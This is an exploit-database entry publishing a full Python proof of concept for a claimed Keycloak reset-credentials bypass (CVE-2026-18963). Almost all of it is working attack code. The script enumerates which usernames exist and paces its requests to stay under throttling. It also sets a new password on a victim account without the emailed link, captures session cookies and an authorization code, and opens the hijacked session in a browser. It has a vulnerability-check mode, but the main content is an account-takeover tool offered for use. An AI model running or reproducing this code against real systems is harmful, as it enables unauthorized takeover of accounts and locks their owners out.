Keycloak 26.7.2 - Unauthenticated Account Takeover



EKU-ID: 56555 CVE: CVE-2026-18963 OSVDB-ID:
Author: Abel Maldonado Published: 2026-10-21 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Keycloak  26.7.2 - Unauthenticated Account Takeover 
# Date: 2026-10-15
# Exploit Author: Abel Maldonado | Orevim
# Vendor Homepage: https://www.keycloak.org/
# Software Link: https://github.com/keycloak/keycloak/releases/tag/26.6.2
# Version: 26.0.0 - 26.4.14, 26.5.0 - 26.6.5, 26.7.0 - 26.7.1
# Tested on: Keycloak 26.6.2 (Docker, quay.io/keycloak/keycloak:26.6.2)
# CVE: CVE-2026-18963
# Advisory: https://github.com/keycloak/keycloak/security/advisories/GHSA-4gv3-mc9p-5wqc
# CWE: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password)
# Type: webapps
# Platform: multiple
# Repo: https://github.com/orevim/CVE-2026-18963-PoC
# Research: https://orevim.co/research#cve-2026-18963
"""Proof of concept and vulnerability check for CVE-2026-18963.

CVE-2026-18963 is a reset-credentials flow bypass in Keycloak. An unscoped
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note lets an unauthenticated caller
re-render the authenticator selection screen bound to the email execution. On an
affected build that execution's action handler sets emailVerified and calls
success() without checking the action token, so the flow reaches the
update-password required action with no emailed link.

Affected: >= 26.0.0 < 26.4.15, >= 26.5.0 < 26.6.6, >= 26.7.0 < 26.7.2.
Patched in 26.4.15, 26.6.6 and 26.7.2; the 26.8.0 line ships with the fix.

Three modes:

  --check                 decide whether the instance is affected, using a random
                          identifier that resolves to nothing. Sends no mail and
                          changes no account.
  --check --users ...     additionally report which identifiers resolve. On an
                          affected build a resolving identifier has emailVerified
                          set as a side effect.
  --set-password          complete the takeover. This locks the account holder out.

Endpoints come from the realm's OIDC discovery document and form fields come from
the forms themselves, so custom themes, custom paths and custom field names work
without edits. Everything else is an option. Playwright is imported only when
--open is used.
"""

from __future__ import annotations

import argparse
import base64
import dataclasses
import enum
import hashlib
import http.client
import http.cookiejar
import html
import json
import os
import random
import re
import secrets
import socket
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass, field
from html.parser import HTMLParser
from pathlib import Path

os.umask(0o077)  # captures hold request and response material; keep them owner-only

# Protocol defaults. Every one of these can be replaced from the command line.
DISCOVERY_SUFFIX = ".well-known/openid-configuration"
RESET_PATH_MARKER = "login-actions/reset-credentials"
SELECTOR_FIELD = "tryAnotherWay=on"
USERNAME_FIELD = "username"
PASSWORD_FIELDS = ("password-new", "password-confirm")
HTML_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"


class Outcome(enum.Enum):
    NOT_VULNERABLE = "not-vulnerable"
    ACCOUNT_ABSENT = "account-absent"
    FORM_REACHED = "form-reached"
    PASSWORD_SET = "password-set"
    RATE_LIMITED = "rate-limited"
    INCONCLUSIVE = "inconclusive"


@dataclass
class Target:
    url: str | None = None
    realm: str | None = None
    discovery_url: str | None = None
    auth_url: str | None = None
    reset_url: str | None = None
    client_id: str | None = None
    redirect_uri: str | None = None
    scope: str = "openid"
    selector_field: str = SELECTOR_FIELD
    username_field: str = USERNAME_FIELD
    password_fields: tuple[str, ...] = PASSWORD_FIELDS
    address: str | None = None
    verify_tls: bool = True
    timeout: float = 30.0
    user_agent: str | None = None
    headers: dict[str, str] = field(default_factory=dict)

    def __post_init__(self) -> None:
        if self.url:
            self.url = self.url.rstrip("/")
        if not (self.auth_url or self.discovery_url or (self.url and self.realm)):
            raise ValueError(
                "give --auth-url, or --discovery-url, or both --url and --realm"
            )
        if not self.discovery_url and self.url and self.realm:
            realm = urllib.parse.quote(self.realm, safe="")
            self.discovery_url = f"{self.url}/realms/{realm}/{DISCOVERY_SUFFIX}"

    def origin_of(self, url: str) -> tuple[str, int]:
        parts = urllib.parse.urlsplit(url)
        port = parts.port or (443 if parts.scheme == "https" else 80)
        return parts.hostname or "", port


@dataclass
class Step:
    tag: str
    method: str
    url: str
    status: int
    location: str | None = None
    retries: int = 0


@dataclass
class Result:
    outcome: Outcome
    identifier: str = ""
    steps: list[Step] = field(default_factory=list)
    form_url: str | None = None
    authorization_code: str | None = None
    session_cookies: list[str] = field(default_factory=list)
    detail: str = ""

    def as_dict(self) -> dict:
        data = dataclasses.asdict(self)
        data["outcome"] = self.outcome.value
        return data


class ExploitError(RuntimeError):
    """The chain could not continue because a page did not carry what it needs."""


class RateLimited(RuntimeError):
    """The edge refused the request often enough that the run cannot continue."""


class Response:
    __slots__ = ("status", "headers", "body", "url", "retries")

    def __init__(self, status, headers, body, url, retries=0):
        self.status = status
        self.headers = headers
        self.body = body
        self.url = url
        self.retries = retries

    @property
    def location(self) -> str | None:
        return self.headers.get("Location")


@dataclass
class Form:
    action: str
    method: str
    fields: dict[str, str]

    def password_inputs(self) -> list[str]:
        return [name for name, value in self.fields.items() if value == "\x00password"]

    def body(self, overrides: dict[str, str]) -> str:
        data = {
            name: ("" if value.startswith("\x00") else value)
            for name, value in self.fields.items()
        }
        data.update(overrides)
        return urllib.parse.urlencode(data)


class _FormParser(HTMLParser):
    """Collect every form with its action, method and input fields.

    An input whose type is password or which carries no value is recorded with a
    sentinel so the caller can tell an empty field from one the page filled in.
    """

    def __init__(self, base: str) -> None:
        super().__init__(convert_charrefs=True)
        self.base = base
        self.forms: list[Form] = []
        self.links: list[str] = []
        self._current: Form | None = None

    def handle_starttag(self, tag: str, attrs) -> None:
        values = {key.lower(): (value or "") for key, value in attrs}
        if tag == "form":
            action = urllib.parse.urljoin(self.base, values.get("action", ""))
            self._current = Form(action, values.get("method", "post").lower(), {})
            self.forms.append(self._current)
        elif tag == "a" and values.get("href"):
            self.links.append(urllib.parse.urljoin(self.base, values["href"]))
        elif tag in ("input", "textarea", "select") and self._current is not None:
            name = values.get("name")
            if not name or values.get("type") in ("submit", "button", "image"):
                return
            if values.get("type") == "password":
                self._current.fields[name] = "\x00password"
            else:
                self._current.fields[name] = values.get("value") or "\x00empty"

    def handle_endtag(self, tag: str) -> None:
        if tag == "form":
            self._current = None


def parse_page(body: str, base: str) -> _FormParser:
    parser = _FormParser(base)
    parser.feed(body)
    return parser


def _unescape_js(value: str) -> str:
    value = re.sub(r"\\u([0-9a-fA-F]{4})", lambda m: chr(int(m.group(1), 16)), value)
    return html.unescape(value.replace("\\/", "/"))


def kc_context_url(body: str, key: str, base: str) -> str | None:
    """Read a URL out of the kcContext object a Keycloak theme embeds.

    A single page application theme renders no server-side form, so the action
    exists only in that object. Its keys are serialized as JSON, so one pattern
    is enough and avoids parsing the surrounding JavaScript.
    """
    match = re.search(rf'["\']{re.escape(key)}["\']\s*:\s*"([^"]+)"', body)
    return urllib.parse.urljoin(base, _unescape_js(match.group(1))) if match else None


def form_body(form: Form | None, overrides: dict[str, str]) -> str:
    return form.body(overrides) if form else urllib.parse.urlencode(overrides)


class Pacer:
    """Space requests out and settle on a rate the edge tolerates.

    Retrying a 429 at the rate that caused it just earns another 429, so the
    interval grows on every throttle and stays grown. It shrinks back toward the
    requested rate only after a run of clean responses, and never goes faster
    than the rate asked for or slower than the floor.
    """

    def __init__(self, rate: float = 0.5, floor_rate: float = 0.05,
                 jitter: float = 0.25, max_retries: int = 4,
                 slow_factor: float = 2.0, recover_after: int = 8,
                 recover_factor: float = 1.4) -> None:
        self.min_interval = 1.0 / rate if rate > 0 else 0.0
        self.max_interval = 1.0 / floor_rate if floor_rate > 0 else 600.0
        self.interval = self.min_interval
        self.jitter = jitter
        self.max_retries = max_retries
        self.slow_factor = max(1.1, slow_factor)
        self.recover_after = recover_after
        self.recover_factor = max(1.01, recover_factor)
        self.throttled = 0
        self.slowdowns = 0
        self._streak = 0
        self._last = 0.0

    @property
    def rate(self) -> float:
        return 1.0 / self.interval if self.interval > 0 else 0.0

    def wait(self) -> None:
        if self.interval <= 0:
            return
        gap = self.interval
        if self.jitter:
            gap *= 1.0 + random.uniform(-self.jitter, self.jitter)
        remaining = gap - (time.monotonic() - self._last)
        if remaining > 0:
            time.sleep(remaining)

    def mark(self) -> None:
        self._last = time.monotonic()

    def on_success(self) -> None:
        if self.interval <= self.min_interval:
            return
        self._streak += 1
        if self._streak >= self.recover_after:
            self.interval = max(self.min_interval, self.interval / self.recover_factor)
            self._streak = 0

    def on_throttle(self, retry_after: str | None) -> float:
        """Widen the interval and return how long to sleep before retrying."""
        self.throttled += 1
        self._streak = 0
        widened = min(self.max_interval, max(self.interval, 1.0) * self.slow_factor)
        if widened > self.interval:
            self.slowdowns += 1
        self.interval = widened
        if retry_after:
            try:
                return max(0.0, float(retry_after))
            except ValueError:
                pass
        return self.interval

    def report(self) -> dict:
        return {
            "requested_rate": round(1.0 / self.min_interval, 4) if self.min_interval else 0.0,
            "effective_rate": round(self.rate, 4),
            "throttled": self.throttled,
            "slowdowns": self.slowdowns,
        }


class _PinnedHTTPSConnection(http.client.HTTPSConnection):
    """Connect to a fixed address while keeping the Host header and SNI."""

    def __init__(self, host, *, address, **kwargs):
        super().__init__(host, **kwargs)
        self._address = address

    def connect(self) -> None:
        self.sock = socket.create_connection((self._address, self.port), self.timeout)
        self.sock = self._context.wrap_socket(self.sock, server_hostname=self.host)


class _PinnedHTTPSHandler(urllib.request.HTTPSHandler):
    def __init__(self, address: str, context: ssl.SSLContext) -> None:
        super().__init__(context=context)
        self._address = address
        self._ssl_context = context

    def https_open(self, req):
        def build(host, **kwargs):
            kwargs.pop("context", None)
            return _PinnedHTTPSConnection(
                host, address=self._address, context=self._ssl_context, **kwargs
            )

        return self.do_open(build, req)


class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


class Exploit:
    """Drives the reset-credentials chain against one realm.

    One instance holds one cookie jar, so build a new instance per identifier.
    """

    def __init__(self, target: Target, pacer: Pacer | None = None,
                 out_dir: Path | None = None) -> None:
        self.target = target
        self.pacer = pacer or Pacer()
        self.out_dir = out_dir
        self.jar = http.cookiejar.CookieJar()
        self.steps: list[Step] = []
        self.throttle_events = 0
        self.started = 0.0
        self._counter = 0
        self._discovery: dict | None = None

        context = ssl.create_default_context()
        if not target.verify_tls:
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE

        handlers: list[urllib.request.BaseHandler] = [
            urllib.request.HTTPCookieProcessor(self.jar),
            _NoRedirect(),
        ]
        handlers.append(
            _PinnedHTTPSHandler(target.address, context)
            if target.address
            else urllib.request.HTTPSHandler(context=context)
        )
        self._opener = urllib.request.build_opener(*handlers)

        if out_dir:
            out_dir.mkdir(parents=True, exist_ok=True)

    def request(self, tag: str, url: str, data: str | None = None,
                accept: str = HTML_ACCEPT) -> Response:
        method = "POST" if data is not None else "GET"
        attempt = 0
        while True:
            self.pacer.wait()
            request = urllib.request.Request(
                url, data=data.encode() if data is not None else None, method=method
            )
            request.add_header("Accept", accept)
            if self.target.user_agent:
                request.add_header("User-Agent", self.target.user_agent)
            for name, value in self.target.headers.items():
                request.add_header(name, value)
            if data is not None:
                request.add_header(
                    "Content-Type", "application/x-www-form-urlencoded"
                )

            try:
                raw = self._opener.open(request, timeout=self.target.timeout)
                status, headers, body = raw.status, raw.headers, raw.read()
            except urllib.error.HTTPError as exc:
                status, headers, body = exc.code, exc.headers, exc.read()
            finally:
                self.pacer.mark()

            if status != 429:
                self.pacer.on_success()
                break
            self.throttle_events += 1
            if attempt >= self.pacer.max_retries:
                break
            delay = self.pacer.on_throttle(headers.get("Retry-After"))
            attempt += 1
            time.sleep(delay)

        if status == 429:
            raise RateLimited(
                f"the edge answered 429 at step {tag} after {attempt} retries, "
                f"with the interval widened to {self.pacer.interval:.1f}s; lower "
                "--rate or raise --retries"
            )

        response = Response(
            status, headers, body.decode("utf-8", "replace"), url, attempt
        )
        self._counter += 1
        self.steps.append(Step(tag, method, url, status, response.location, attempt))
        self._capture(tag, request, response)
        return response

    def _capture(self, tag: str, request, response: Response) -> None:
        if not self.out_dir:
            return
        name = f"{self._counter:02d}-{tag}"
        head = [f"{request.get_method()} {request.full_url}"]
        head += [f"{key}: {value}" for key, value in request.header_items()]
        head += ["", f"HTTP {response.status}"]
        head += [f"{key}: {value}" for key, value in response.headers.items()]
        (self.out_dir / f"{name}.headers").write_text("\n".join(head), "utf-8")
        (self.out_dir / f"{name}.body").write_text(response.body, "utf-8")

    def discovery(self) -> dict:
        if self._discovery is None:
            if not self.target.discovery_url:
                raise ExploitError("no discovery URL and no --auth-url")
            response = self.request(
                "discovery", self.target.discovery_url, accept="application/json"
            )
            if response.status != 200:
                raise ExploitError(
                    f"discovery returned HTTP {response.status}; pass --auth-url "
                    "to skip discovery"
                )
            try:
                self._discovery = json.loads(response.body)
            except json.JSONDecodeError as exc:
                raise ExploitError(f"discovery is not JSON: {exc}") from exc
        return self._discovery

    def authorization_url(self) -> str:
        if self.target.auth_url:
            return self.target.auth_url
        endpoint = self.discovery().get("authorization_endpoint")
        if not endpoint:
            raise ExploitError("discovery carries no authorization_endpoint")
        if not self.target.client_id:
            raise ExploitError("--client-id is required unless --auth-url is given")
        redirect_uri = self.target.redirect_uri
        if not redirect_uri:
            issuer = self.discovery().get("issuer") or ""
            redirect_uri = f"{issuer.rstrip('/')}/account/"
        verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b"=")
        digest = hashlib.sha256(verifier).digest()
        query = urllib.parse.urlencode(
            {
                "client_id": self.target.client_id,
                "redirect_uri": redirect_uri,
                "response_type": "code",
                "scope": self.target.scope,
                "state": secrets.token_urlsafe(16),
                "code_challenge": base64.urlsafe_b64encode(digest)
                .rstrip(b"=")
                .decode(),
                "code_challenge_method": "S256",
            }
        )
        joiner = "&" if "?" in endpoint else "?"
        return f"{endpoint}{joiner}{query}"

    def _reset_url(self) -> str:
        if self.target.reset_url:
            return self.target.reset_url
        login = self.request("login", self.authorization_url())
        for href in parse_page(login.body, login.url).links:
            if RESET_PATH_MARKER in href:
                return href
        from_context = kc_context_url(
            login.body, "loginResetCredentialsUrl", login.url
        )
        if from_context:
            return from_context
        raise ExploitError(
            "the login page carries no reset-credentials link and no "
            "loginResetCredentialsUrl, so either password recovery is disabled or "
            "the theme renders it differently; pass --reset-url"
        )

    @staticmethod
    def _action(response: Response, what: str) -> tuple[str, Form | None]:
        """Return where to post next, from the form or from kcContext.

        A single page application theme renders no form element, so the action
        lives only in kcContext. Without a form there are no fields to carry, and
        the caller posts only what it overrides.
        """
        page = parse_page(response.body, response.url)
        if page.forms:
            return page.forms[0].action, page.forms[0]
        action = kc_context_url(response.body, "loginAction", response.url)
        if action:
            return action, None
        raise ExploitError(f"the {what} page carries no form and no loginAction")

    def _negative(self, identifier: str, detail: str) -> Result:
        """A negative verdict is only sound if nothing was throttled.

        A 429 mid-chain costs a backoff, and Keycloak expires the authentication
        session on its own clock, so a chain that resumes after a long sleep can
        return the page a patched build returns. Reporting that as not affected
        is the one failure mode a check tool must not have.
        """
        if self.throttle_events:
            return Result(
                Outcome.INCONCLUSIVE, identifier, self.steps,
                detail=(
                    f"{detail}, but {self.throttle_events} request(s) were throttled "
                    "first and the authentication session may have expired during "
                    "the backoff; re-run at a lower --rate before believing this"
                ),
            )
        return Result(Outcome.NOT_VULNERABLE, identifier, self.steps, detail=detail)

    def run(self, identifier: str, new_password: str | None = None) -> Result:
        self.started = time.monotonic()
        reset_url = self._reset_url()

        reset = self.request("reset", reset_url)
        action, form = self._action(reset, "reset")

        # The selector note is written here. Posting authenticationExecution
        # instead switches execution and re-sends mail without reaching the defect.
        selector_pair = dict(urllib.parse.parse_qsl(self.target.selector_field))
        selector = self.request("tryanother", action, form_body(form, selector_pair))
        action, form = self._action(selector, "selector")

        fields = form.fields if form else {}
        username_field = next(
            (name for name in fields if name.lower() == "username"),
            next((name for name, value in fields.items() if value == "\x00empty"),
                 self.target.username_field),
        )
        self.request("username", action, form_body(form, {username_field: identifier}))

        reentry = self.request("reenter", reset_url)
        try:
            action, _ = self._action(reentry, "re-entry")
        except ExploitError:
            return self._negative(
                identifier,
                "re-entry rendered no selector, so the stale note was not honored",
            )

        # The empty body is the exploit. A populated body answers a challenge
        # instead of invoking the handler.
        advanced = self.request("action", action, "")
        if advanced.status == 400:
            return Result(
                Outcome.ACCOUNT_ABSENT, identifier, self.steps,
                detail="handler reached with no action token and no resolving user",
            )
        if not (300 <= advanced.status < 400 and advanced.location):
            return self._negative(
                identifier,
                f"the empty post returned HTTP {advanced.status} and did not advance",
            )

        form_page = self.request(
            "required-action", urllib.parse.urljoin(advanced.url, advanced.location)
        )
        action, form = self._action(form_page, "required-action")

        result = Result(
            Outcome.FORM_REACHED, identifier, self.steps, form_url=form_page.url,
            detail="the set-password form was reached without an emailed token",
        )
        if new_password is None:
            return result

        # A theme that renders no form still posts to the server-side action,
        # which reads the field names the required action defines.
        names = (form.password_inputs() if form else []) or self.target.password_fields
        final = self.request(
            "setpassword", action,
            form_body(form, {name: new_password for name in names}),
        )
        if not (300 <= final.status < 400 and final.location):
            result.detail = (
                f"the form returned HTTP {final.status} rather than a redirect, which "
                "a password policy such as a reuse history will do"
            )
            return result

        query = urllib.parse.parse_qs(urllib.parse.urlsplit(final.location).query)
        result.outcome = Outcome.PASSWORD_SET
        result.authorization_code = query.get("code", [None])[0]
        result.session_cookies = sorted({cookie.name for cookie in self.jar})
        result.form_url = final.location
        result.detail = "the password was changed and the realm issued a session"
        return result

    def playwright_cookies(self) -> list[dict]:
        cookies = []
        for cookie in self.jar:
            cookies.append(
                {
                    "name": cookie.name,
                    "value": cookie.value or "",
                    "domain": cookie.domain,
                    "path": cookie.path or "/",
                    "secure": bool(cookie.secure),
                }
            )
        return cookies


def browser_url(mode: str, result: Result, exploit: Exploit,
                override: str | None = None) -> str:
    """Decide where the browser should land.

    After --set-password the chain's last Location is a one-time authorization
    code bound to a PKCE verifier the browser does not hold, so opening it burns
    the code and fails. The account console carries the same proof with none of
    that, because it is reached from the SSO cookies alone.
    """
    if override:
        return override
    if mode == "session":
        issuer = (exploit.discovery().get("issuer") or "").rstrip("/")
        if not issuer:
            raise ExploitError("discovery carries no issuer; pass --open-url")
        return f"{issuer}/account/"
    if not result.form_url:
        raise ExploitError("the chain produced no page to open")
    return result.form_url


def open_browser(exploit: Exploit, url: str, mode: str = "form", delay: float = 0.0,
                 hold: float = 60.0, channel: str | None = None,
                 max_age: float = 300.0, screenshot: Path | None = None) -> bool:
    """Open the page in a visible browser carrying the chain's cookies.

    Returns whether the page that loaded is the one the mode expects. Keycloak
    expires the authentication session on its own clock, so the age of the chain
    plus the delay is checked against max_age before the browser starts.
    """
    age = time.monotonic() - exploit.started if exploit.started else 0.0
    if mode == "form" and max_age and age + delay > max_age:
        print(
            f"[!] the chain is {age:.0f}s old and the delay adds {delay:g}s, past the "
            f"{max_age:g}s session budget. The form will likely have expired. "
            "Raise --session-max-age to go ahead anyway."
        )
        return False

    try:
        from playwright.sync_api import sync_playwright
    except ImportError as exc:
        raise ExploitError(
            "playwright is not installed: pip install playwright, then "
            "playwright install chrome"
        ) from exc

    if delay > 0:
        print(f"[*] waiting {delay:g}s, then opening the browser {age + delay:.0f}s "
              "into the session")
        time.sleep(delay)

    with sync_playwright() as driver:
        launch = {"headless": False}
        if channel:
            launch["channel"] = channel
        browser = driver.chromium.launch(**launch)
        context = browser.new_context(
            user_agent=exploit.target.user_agent,
            ignore_https_errors=not exploit.target.verify_tls,
        )
        context.add_cookies(exploit.playwright_cookies())
        page = context.new_page()
        page.goto(url, wait_until="domcontentloaded")

        if mode == "form":
            landed = page.locator("input[type=password]").count() > 0
            print("[+] the set-password form is open" if landed else
                  "[-] no password input on the page; the session has likely expired")
        else:
            landed = "login-actions" not in page.url and "/auth?" not in page.url
            print("[+] the session carries into the console" if landed else
                  "[-] the console bounced to a login page, so the session was refused")

        if screenshot:
            screenshot.parent.mkdir(parents=True, exist_ok=True)
            page.screenshot(path=str(screenshot), full_page=True)
            print(f"[*] screenshot written to {screenshot}")

        print(f"[*] browser open for {hold:g}s")
        time.sleep(hold)
        browser.close()
        return landed


def load_identifiers(values: list[str] | None, path: Path | None) -> list[str]:
    identifiers: list[str] = []
    for value in values or []:
        identifiers += [item.strip() for item in value.split(",") if item.strip()]
    if path:
        identifiers += [
            line.strip()
            for line in path.read_text("utf-8").splitlines()
            if line.strip() and not line.startswith("#")
        ]
    seen: set[str] = set()
    return [i for i in identifiers if not (i in seen or seen.add(i))]


def run_check(target: Target, pacer: Pacer, identifiers: list[str],
              out_dir: Path | None) -> tuple[Result, list[Result]]:
    probe_id = f"{secrets.token_hex(8)}@{secrets.token_hex(4)}.invalid"
    print(f"[*] probing with an identifier that resolves to nothing: {probe_id}")
    probe = Exploit(target, pacer, _sub(out_dir, "probe")).run(probe_id)

    if probe.outcome is Outcome.ACCOUNT_ABSENT:
        print("[+] AFFECTED. The handler ran with no action token and no user.")
    elif probe.outcome is Outcome.FORM_REACHED:
        print("[+] AFFECTED. The set-password form was reached.")
    else:
        print(f"[-] NOT AFFECTED. {probe.detail}")
        return probe, []

    if not identifiers:
        return probe, []

    print(
        f"\n[!] Checking {len(identifiers)} identifiers. On an affected build a "
        "resolving\n    identifier has emailVerified set as a side effect."
    )
    results = []
    for index, identifier in enumerate(identifiers, 1):
        try:
            result = Exploit(target, pacer, _sub(out_dir, f"id-{index:03d}")).run(identifier)
        except RateLimited as exc:
            print(f"  [{index}/{len(identifiers)}] {identifier}: rate limited, stopping")
            results.append(Result(Outcome.RATE_LIMITED, identifier, detail=str(exc)))
            break
        except ExploitError as exc:
            result = Result(Outcome.INCONCLUSIVE, identifier, detail=str(exc))
        mark = {
            Outcome.FORM_REACHED: "RESOLVES",
            Outcome.ACCOUNT_ABSENT: "absent",
        }.get(result.outcome, result.outcome.value)
        print(f"  [{index}/{len(identifiers)}] {identifier}: {mark}")
        results.append(result)
    return probe, results


def _sub(out_dir: Path | None, name: str) -> Path | None:
    return out_dir / name if out_dir else None


def _pacing_line(pacer: Pacer) -> str:
    report = pacer.report()
    if not report["throttled"]:
        return f"pacing: {report['effective_rate']:g} rps, nothing throttled"
    return (
        f"pacing: asked for {report['requested_rate']:g} rps, settled at "
        f"{report['effective_rate']:g} rps after {report['throttled']} throttled "
        f"request(s); pass --rate {report['effective_rate']:g} next time"
    )


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="CVE-2026-18963 proof of concept and vulnerability check.",
        epilog=(
            "examples:\n"
            "  check an instance, changing nothing:\n"
            "    %(prog)s --url https://sso.example.com --realm demo "
            "--client-id account-console --check\n\n"
            "  check which identifiers resolve, one request every four seconds:\n"
            "    %(prog)s --url https://sso.example.com --realm demo "
            "--client-id account-console \\\n"
            "        --check --users-file names.txt --rate 0.25\n\n"
            "  reach the set-password form and show it in a browser:\n"
            "    %(prog)s --auth-url 'https://sso.example.com/realms/demo/...' \\\n"
            "        --username user@example.com --open form\n"
        ),
    )

    where = parser.add_argument_group("where to point it")
    where.add_argument("--url", help="base URL of the Keycloak server")
    where.add_argument("--realm", help="realm name")
    where.add_argument("--discovery-url", help="OIDC discovery document, overrides --url and --realm")
    where.add_argument("--auth-url", help="a full authorization URL, skips discovery")
    where.add_argument("--reset-url", help="reset-credentials URL, if the theme hides the link")
    where.add_argument("--client-id", help="a public client; required unless --auth-url is given")
    where.add_argument("--redirect-uri", help="default: the account console of the discovered issuer")
    where.add_argument("--scope", default="openid")

    who = parser.add_argument_group("who to test")
    who.add_argument("--username", help="one identifier, for a single run")
    who.add_argument("--users", action="append", metavar="A,B", help="identifiers, repeatable")
    who.add_argument("--users-file", type=Path, metavar="FILE", help="one identifier per line")

    what = parser.add_argument_group("what to do")
    what.add_argument("--check", action="store_true",
                      help="decide whether the instance is affected, then test any identifiers")
    what.add_argument("--set-password", metavar="PASSWORD",
                      help="complete the takeover; this locks the account holder out")

    pace = parser.add_argument_group("pacing")
    pace.add_argument("--rate", type=float, default=0.5, metavar="RPS",
                      help="requests per second to aim for, and the ceiling the run "
                           "never exceeds; 0 for no spacing (default: %(default)s)")
    pace.add_argument("--floor-rate", type=float, default=0.05, metavar="RPS",
                      help="slowest the run will go when throttled (default: %(default)s)")
    pace.add_argument("--jitter", type=float, default=0.25, metavar="FRACTION",
                      help="randomize each gap by this fraction (default: %(default)s)")
    pace.add_argument("--retries", type=int, default=4, metavar="N",
                      help="retries of a single throttled request (default: %(default)s)")
    pace.add_argument("--slow-factor", type=float, default=2.0, metavar="X",
                      help="widen the interval by this much per 429 (default: %(default)s)")
    pace.add_argument("--recover-after", type=int, default=8, metavar="N",
                      help="clean responses before speeding back up (default: %(default)s)")
    pace.add_argument("--recover-factor", type=float, default=1.4, metavar="X",
                      help="narrow the interval by this much when recovering "
                           "(default: %(default)s)")

    conn = parser.add_argument_group("connection")
    conn.add_argument("--address", help="pin every connection to this IP address")
    conn.add_argument("--insecure", action="store_true", help="skip TLS verification")
    conn.add_argument("--timeout", type=float, default=30.0)
    conn.add_argument("--user-agent")
    conn.add_argument("--header", action="append", default=[], metavar="NAME:VALUE",
                      help="extra request header, repeatable")
    conn.add_argument("--selector-field", default=SELECTOR_FIELD, metavar="K=V",
                      help="field that opens the selector (default: %(default)s)")
    conn.add_argument("--username-field", default=USERNAME_FIELD, metavar="NAME",
                      help="identifier field on the reset form, used when the theme "
                           "renders no form to read it from (default: %(default)s)")
    conn.add_argument("--password-fields", default=",".join(PASSWORD_FIELDS),
                      metavar="A,B",
                      help="password fields the required action expects, used when "
                           "the theme renders no form (default: %(default)s)")

    out = parser.add_argument_group("output")
    out.add_argument("--out", type=Path, help="write every request and response here")
    out.add_argument("--json", action="store_true", help="print results as JSON")

    browser = parser.add_argument_group("browser")
    browser.add_argument("--open", choices=("off", "form", "session"), default="off",
                         help="show the set-password form, or the account console "
                              "the session reaches after --set-password")
    browser.add_argument("--open-url", metavar="URL",
                         help="open this instead of the page the mode picks")
    browser.add_argument("--open-delay", type=float, default=0.0, metavar="SECONDS",
                         help="wait this long before the browser starts")
    browser.add_argument("--open-hold", type=float, default=60.0, metavar="SECONDS")
    browser.add_argument("--open-channel", metavar="NAME",
                         help="playwright channel such as chrome or msedge")
    browser.add_argument("--session-max-age", type=float, default=300.0,
                         metavar="SECONDS",
                         help="refuse to open the form past this age, since the "
                              "authentication session expires (default: %(default)s)")
    browser.add_argument("--screenshot", type=Path, metavar="FILE",
                         help="save a full-page screenshot of what the browser shows")
    return parser


def main(argv: list[str] | None = None) -> int:
    parser = build_parser()
    args = parser.parse_args(argv)

    identifiers = load_identifiers(args.users, args.users_file)
    if not args.check and not args.username:
        parser.error("give --username, or --check")
    if args.open == "session" and not args.set_password:
        parser.error("--open session requires --set-password")
    if args.set_password and args.check:
        parser.error("--set-password is a single-account action; drop --check")

    headers = {}
    for item in args.header:
        name, _, value = item.partition(":")
        if not value:
            parser.error(f"--header wants NAME:VALUE, got {item!r}")
        headers[name.strip()] = value.strip()

    password_fields = tuple(
        name.strip() for name in args.password_fields.split(",") if name.strip()
    )
    if not password_fields:
        parser.error("--password-fields wants at least one field name")

    try:
        target = Target(
            url=args.url, realm=args.realm, discovery_url=args.discovery_url,
            auth_url=args.auth_url, reset_url=args.reset_url, client_id=args.client_id,
            redirect_uri=args.redirect_uri, scope=args.scope,
            selector_field=args.selector_field,
            username_field=args.username_field, password_fields=password_fields,
            address=args.address,
            verify_tls=not args.insecure, timeout=args.timeout,
            user_agent=args.user_agent, headers=headers,
        )
    except ValueError as exc:
        parser.error(str(exc))

    pacer = Pacer(
        rate=args.rate, floor_rate=args.floor_rate, jitter=args.jitter,
        max_retries=args.retries, slow_factor=args.slow_factor,
        recover_after=args.recover_after, recover_factor=args.recover_factor,
    )
    exploit: Exploit | None = None

    try:
        if args.check:
            probe, results = run_check(target, pacer, identifiers, args.out)
            payload = {
                "probe": probe.as_dict(),
                "identifiers": [r.as_dict() for r in results],
                "pacing": pacer.report(),
            }
            if args.json:
                print(json.dumps(payload, indent=2))
            else:
                if results:
                    resolved = [
                        r.identifier for r in results if r.outcome is Outcome.FORM_REACHED
                    ]
                    print(f"\n{len(resolved)} of {len(results)} identifiers resolve")
                    for name in resolved:
                        print(f"  {name}")
                print(_pacing_line(pacer))
            affected = probe.outcome in (Outcome.ACCOUNT_ABSENT, Outcome.FORM_REACHED)
            return 0 if affected else 1

        exploit = Exploit(target, pacer, args.out)
        result = exploit.run(args.username, args.set_password)
    except RateLimited as exc:
        print(f"rate limited: {exc}", file=sys.stderr)
        return 3
    except ExploitError as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2
    except urllib.error.URLError as exc:
        print(f"transport error: {exc.reason}", file=sys.stderr)
        return 2

    if args.json:
        print(json.dumps(result.as_dict(), indent=2))
    else:
        for step in result.steps:
            suffix = f" -> {step.location}" if step.location else ""
            retried = f"  ({step.retries} retries)" if step.retries else ""
            print(f"  {step.status}  {step.method:4}  {step.tag}{suffix}{retried}")
        print(f"\n{result.outcome.value}: {result.detail}")
        if result.authorization_code:
            print(f"authorization code: {result.authorization_code}")
        if result.session_cookies:
            print(f"session cookies: {', '.join(result.session_cookies)}")
        print(_pacing_line(pacer))

    if args.open != "off" and exploit:
        try:
            open_browser(
                exploit,
                browser_url(args.open, result, exploit, args.open_url),
                mode=args.open,
                delay=args.open_delay,
                hold=args.open_hold,
                channel=args.open_channel,
                max_age=args.session_max_age,
                screenshot=args.screenshot,
            )
        except ExploitError as exc:
            print(f"browser: {exc}", file=sys.stderr)

    return 0 if result.outcome in (Outcome.FORM_REACHED, Outcome.PASSWORD_SET) else 1


if __name__ == "__main__":
    sys.exit(main())